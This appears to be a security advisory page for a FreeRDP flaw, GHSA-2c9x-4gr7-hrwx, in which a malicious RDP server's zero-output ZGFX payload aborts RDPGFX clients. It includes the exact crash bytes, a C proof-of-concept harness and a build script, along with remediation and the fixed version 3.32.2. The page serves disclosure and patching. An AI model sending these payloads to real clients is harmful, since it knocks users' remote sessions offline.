Zero-output ZGFX payload aborts FreeRDP RDPGFX clients
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-2c9x-4gr7-hrwx. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP up to and including 3.32.1 is affected. A malicious RDP server can send a crafted ZGFX payload on the RDPGFX channel that decompresses to zero bytes, and the client then passes a null pointer to a reachable assertion (CWE-617). This aborts clients built with verbose WinPR assertions. The proven impact is client availability, with no demonstrated memory corruption, disclosure or code execution.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious RDP server can send `E0 20 00` as a ZGFX payload on the RDPGFX dynamic channel after client session activation. `zgfx_decompress` returns success while leaving its output pointer null and size zero because the compressed segment has zero output bits. `rdpgfx_on_data_received` checks only for negative decoder status and passes the null pointer to `Stream_StaticConstInit`. Its `WINPR_ASSERT(buffer)` aborts clients built with verbose WinPR assertions, the upstream CMake default. A live X11 `xfreerdp` test completed NLA authentication and session activation, opened RDPGFX, sent the three bytes, and observed client exit 134 at `Stream_StaticInit`. A direct real-library harness produced the same assertion for the three-byte single-segment payload and a seven-byte empty multipart payload. An independent assertion-disabled optimized control returned cleanly. The proven impact is client availability; there is no demonstrated memory corruption, disclosure, or code execution. Other client front ends were not separately tested. The inspected FreeRDP 3.32.0 source retains the defect. ### Reproduction The library-level PoC mirrors `rdpgfx_on_data_received` after DVC delivery: decode the ZGFX bytes, reject only negative status, then pass the resulting pointer and length to `Stream_StaticConstInit`. Use a matching FreeRDP/WinPR build with verbose WinPR assertions enabled. ```c /* Component PoC: zero-output ZGFX success reaches the RDPGFX caller's static-stream assertion. */ #include <stdio.h> #include <stdlib.h> #include <freerdp/codec/zgfx.h> #include <freerdp/codec/bulk.h> #include <winpr/stream.h> int main(int argc, char** argv) { /* E0 = ZGFX_SEGMENTED_SINGLE, 20 = PACKET_COMPRESSED, 00 = 0 padding bits */ static const BYTE pdu3[] = { 0xE0, 0x20, 0x00 }; /* E1 = ZGFX_SEGMENTED_MULTIPART, segmentCount=0, uncompressedSize=0 */ static const BYTE pdu7[] = { 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; const BYTE* pdu = pdu3; UINT32 len = sizeof(pdu3); if ((argc > 1) && (argv[1][0] == 'm')) { pdu = pdu7; len = sizeof(pdu7); } ZGFX_CONTEXT* zgfx = zgfx_context_new(FALSE); if (!zgfx) return 2; BYTE* pDstData = NULL; UINT32 DstSize = 0; int status = zgfx_decompress(zgfx, pdu, len, &pDstData, &DstSize, 0); printf("zgfx_decompress status=%d pDstData=%p DstSize=%u\n", status, (void*)pDstData, DstSize); fflush(stdout); if (status < 0) { free(pDstData); zgfx_context_free(zgfx); return 1; } /* Same caller action as rdpgfx_on_data_received after successful decompression. */ wStream sbuffer = WINPR_C_ARRAY_INIT; wStream* s = Stream_StaticConstInit(&sbuffer, pDstData, DstSize); printf("unexpected: Stream_StaticConstInit returned %p\n", (void*)s); free(pDstData); zgfx_context_free(zgfx); return 0; } ``` ```sh #!/bin/sh # Compile against matching FreeRDP/WinPR development libraries and run both inputs. set -u cc -O2 -g -o zgfx_nullout_abort zgfx_nullout_abort.c \ $(pkg-config --cflags --libs freerdp3 winpr3) || exit 2 ./zgfx_nullout_abort printf 'single exit=%s\n' "$?" ./zgfx_nullout_abort multipart printf 'multipart exit=%s\n' "$?" ``` In the archived assertion-enabled rerun, both the three-byte single-segment input and the seven-byte empty multipart input printed `zgfx_decompress status=1 pDstData=(nil) DstSize=0`, then `winpr_int_assert: ((buffer))` in `Stream_StaticInit`; each exited **134**. An independent probe linked with `WITH_VERBOSE_WINPR_ASSERT=OFF` and `NDEBUG` returned cleanly with zero PDU-loop iterations. With assertions off but without `NDEBUG`, libc `assert(buffer)` still aborted. A separate live test sent the **single-segment** payload through an RDPGFX dynamic channel after NLA authentication and session activation; the `xfreerdp` client exited 134 at the same assertion. The inline C code is a component reproduction; it does not establish the live session. The multipart input has only a component-level result. No memory corruption, disclosure, or code execution was observed. ### Suggested remediation Handle zero-length successful decompression before calling `Stream_StaticConstInit`, either as a normal no-op or a malformed-payload error. For positive lengths, require a non-null output pointer. Test both zero-output payload forms and valid nonempty ZGFX data with verbose assertions enabled and disabled.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <=3.32.1 | 3.32.2 | Patch available | GHSA-2c9x-4gr7-hrwx |
- FreeRDP (c) Vendor— Affected <=3.32.1 Fixed in 3.32.2 Patch available GHSA-2c9x-4gr7-hrwx
Remediation
Upgrade FreeRDP to version 3.32.2, which fixes this flaw.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-2c9x-4gr7-hrwx FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-2c9x-4gr7-hrwx
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences